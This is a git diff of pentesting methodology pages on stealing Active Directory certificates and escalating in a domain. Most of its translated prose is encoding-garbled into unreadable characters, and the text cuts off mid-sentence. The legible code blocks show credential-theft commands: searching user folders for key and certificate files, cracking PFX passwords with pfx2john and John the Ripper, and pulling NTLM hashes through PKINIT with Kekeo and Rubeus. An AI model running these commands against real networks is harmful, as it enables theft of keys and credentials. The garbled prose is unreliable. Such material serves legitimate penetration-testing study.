рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рд╕реАрдзреЗ рдкрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╢реЗрдпрд░ рдпрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВред Windows рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдХрд╛рд░ `.pfx` рдФрд░ `.p12` рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХрдо рдмрд╛рд░, `.pkcs12` рдФрд░ `.pem` рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рднреА рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИрдВред рдЕрдиреНрдп рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ-рд╕рдВрдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрднреА-рдХрднреА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рд╕реАрдзреЗ рдкрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╢реЗрдпрд░ рдпрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВред Windows рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдХрд╛рд░ `.pfx` рдФрд░ `.p12` рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХрдо рдмрд╛рд░, `.pkcs12` рдФрд░ `.pem` рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ рднреА рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИрдВред рдЕрдиреНрдп рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдкреНрд░рдорд╛рдгрдкрддреНрд░-рд╕рдВрдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -- `.key` рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреАрдЬрд╝ рдХреЗ рд▓рд┐рдП, -- `.crt`/`.cer` рдХреЗрд╡рд▓ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд▓рд┐рдП, -- `.csr` рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕рд╛рдЗрдирд┐рдВрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рдЬрд┐рд╕рдореЗрдВ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдпрд╛ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреАрдЬрд╝ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИрдВ, -- `.jks`/`.keystore`/`.keys` Java рдХреАрд╕реНрдЯреЛрд░реНрд╕ рдХреЗ рд▓рд┐рдП, рдЬреЛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреАрдЬрд╝ рдХреЛ рд╣реЛрд▓реНрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред +- `.key` рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП, +- `.crt`/`.cer` рдХреЗрд╡рд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП, +- `.csr` рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдпрд╛ рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИрдВ, +- `.jks`/`.keystore`/`.keys` Java рдХреАрд╕реНрдЯреЛрд░реНрд╕ рдХреЗ рд▓рд┐рдП, рдЬреЛ Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд╕рд╛рде рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпрд╛рдБ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ PowerShell рдпрд╛ рдХрдорд╛рдВрдб рдкреНрд░реЙрдореНрдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдЦреЛрдЬ рдХрд░рдХреЗ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдпрджрд┐ рдХреЛрдИ PKCS#12 рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИ рдФрд░ рдпрд╣ рдкрд╛рд╕рд╡рд░реНрдб рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ `pfx2john.py` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, рдкрд╛рд╕рд╡рд░реНрдб рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП JohnTheRipper рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -```powershell +рдпрджрд┐ рдПрдХ PKCS#12 рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдлрд╝рд╛рдЗрд▓ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИ рдФрд░ рдпрд╣ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ `pfx2john.py` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, JohnTheRipper рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +```bash # Example command to search for certificate files in PowerShell Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys @@ -90,17 +90,19 @@ pfx2john.py certificate.pfx > hash.txt # Command to crack the hash with JohnTheRipper john --wordlist=passwords.txt hash.txt ``` -## NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреЛрд░реА PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ тАУ THEFT5 +## NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреЛрд░реА PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ тАУ THEFT5 (рд╣реИрд╢ рдХреЛ UnPAC рдХрд░реЗрдВ) -рджрд┐рдпрд╛ рдЧрдпрд╛ рд╕рд╛рдордЧреНрд░реА PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреЛрд░реА рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдХреЛ рд╕рдордЭрд╛рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ THEFT5 рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрдмрд▓ рдХреА рдЧрдИ рдЪреЛрд░реА рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдпрд╣рд╛рдБ рдПрдХ рдкреБрдирдГ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЧрдИ рд╣реИ рдЬреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╡реЙрдпрд╕ рдореЗрдВ рд╣реИ, рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЧреБрдордирд╛рдо рдФрд░ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ: +рджрд┐рдпрд╛ рдЧрдпрд╛ рд╕рд╛рдордЧреНрд░реА NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреЛрд░реА рдХреЗ рд▓рд┐рдП PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╡рд┐рдзрд┐ рдХреЛ рд╕рдордЭрд╛рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ THEFT5 рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрдмрд▓ рдХреА рдЧрдИ рдЪреЛрд░реА рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдпрд╣рд╛рдБ рдПрдХ рдкреБрдирдГ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЧрдИ рд╣реИ рдЬреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╡реЙрдпрд╕ рдореЗрдВ рд╣реИ, рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЧреБрдордирд╛рдо рдФрд░ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ: -NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг [MS-NLMP] рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рд╕реБрд╡рд┐рдзрд╛ рдирд╣реАрдВ рджреЗрддреЗ, KDC рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ NTLM рдПрдХ-рддрд░рдлрд╛ рдлрд╝рдВрдХреНрд╢рди (OWF) рдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ `PAC_CREDENTIAL_INFO` рдмрдлрд░ рдореЗрдВ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ (PAC) рдХреЗ рднреАрддрд░ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрдм PKCA рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрджрд┐ рдХреЛрдИ рдЦрд╛рддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЯрд┐рдХрдЯ-рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGT) рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рддрдВрддреНрд░ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди рд╣реЛрд╕реНрдЯ рдХреЛ NTLM рд╣реИрд╢ рдХреЛ TGT рд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд┐рд░рд╛рд╕рддреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `PAC_CREDENTIAL_DATA` рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдореВрд▓рддрдГ NTLM рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХрд╛ рдПрдХ NDR рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬреНрдб рдЪрд┐рддреНрд░рдг рд╣реИред +NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг `MS-NLMP` рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ Kerberos рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рд╕реБрд╡рд┐рдзрд╛ рдирд╣реАрдВ рджреЗрддреЗ, KDC рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ NTLM рдПрдХ-рддрд░рдлрд╛ рдлрд╝рдВрдХреНрд╢рди (OWF) рдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ `PAC_CREDENTIAL_INFO` рдмрдлрд░ рдореЗрдВ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ (PAC) рдХреЗ рднреАрддрд░ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрдм PKCA рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрджрд┐ рдХреЛрдИ рдЦрд╛рддрд╛ PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЯрд┐рдХрдЯ-рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGT) рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рддрдВрддреНрд░ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╡рд░реНрддрдорд╛рди рд╣реЛрд╕реНрдЯ рдХреЛ NTLM рд╣реИрд╢ рдХреЛ TGT рд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд┐рд░рд╛рд╕рддреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `PAC_CREDENTIAL_DATA` рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдореВрд▓рддрдГ NTLM рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХрд╛ рдПрдХ NDR рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬреНрдб рдЪрд┐рддреНрд░рдг рд╣реИред -рдЙрдкрдпреЛрдЧрд┐рддрд╛ **Kekeo**, рдЬреЛ [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдбреЗрдЯрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ TGT рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ NTLM рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХрдорд╛рдВрдб рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ: +рдЙрдкрдпреЛрдЧрд┐рддрд╛ **Kekeo**, рдЬреЛ [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдбреЗрдЯрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ TGT рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ NTLM рдХреА рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХрдорд╛рдВрдб рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` -рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Kekeo рд╕реНрдорд╛рд░реНрдЯрдХрд╛рд░реНрдб-рд╕рдВрд░рдХреНрд╖рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдкрд┐рди рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рдХрд╛ рд╕рдВрджрд░реНрдн [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдХреНрд╖рдорддрд╛ **Rubeus** рджреНрд╡рд╛рд░рд╛ рднреА рд╕рдорд░реНрдерд┐рдд рд╣реЛрдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред +**`Rubeus`** рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╡рд┐рдХрд▓реНрдк **`asktgt [...] /getcredentials`** рдХреЗ рд╕рд╛рде рднреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ Kekeo рд╕реНрдорд╛рд░реНрдЯрдХрд╛рд░реНрдб-рд╕рдВрд░рдХреНрд╖рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдкрд┐рди рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рдХрд╛ рд╕рдВрджрд░реНрдн [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) рдкрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╕рдорд╛рди рдХреНрд╖рдорддрд╛ **Rubeus** рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдмрддрд╛рдИ рдЧрдИ рд╣реИ, рдЬреЛ [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рд╡реНрдпрд╛рдЦреНрдпрд╛ NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреЛрд░реА рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреА рд╣реИ, рдЬреЛ PKINIT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ NTLM рд╣реИрд╢ рдХреА рдкреБрдирдГ рдкреНрд░рд╛рдкреНрддрд┐ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рдЬреЛ PKINIT рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд TGT рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрддреА рд╣реИ, рдФрд░ рдЙрди рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдкрд░ рдЬреЛ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддреА рд╣реИрдВред diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 2eda7e0a1..7e9064cd6 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -28,7 +28,7 @@ рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдХрднреА-рдХрднреА HTTPS рдпрд╛ рд╣реЛрд╕реНрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрд╛рджреЛрдВ рдпрд╛ рддреИрдирд╛рддреА рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд╖рдо рдХреА рдЬрд╛рддреА рд╣реИ, рдпрд╛ рд╕рдордЭ рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдгред -рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдиреЗ рд╕реЗ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ, рдЬреЛ рддрдм рдирд╣реАрдВ рд╣реЛрддреА рдЬрдм рдПрдХ рдореМрдЬреВрджрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ (рдЬреИрд╕реЗ `WebServer` рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕рдореЗрдВ `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` рд╕рдХреНрд╖рдо рд╣реИ) рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг OID рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдиреЗ рдкрд░ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ, рдЬреЛ рддрдм рдирд╣реАрдВ рд╣реЛрддреА 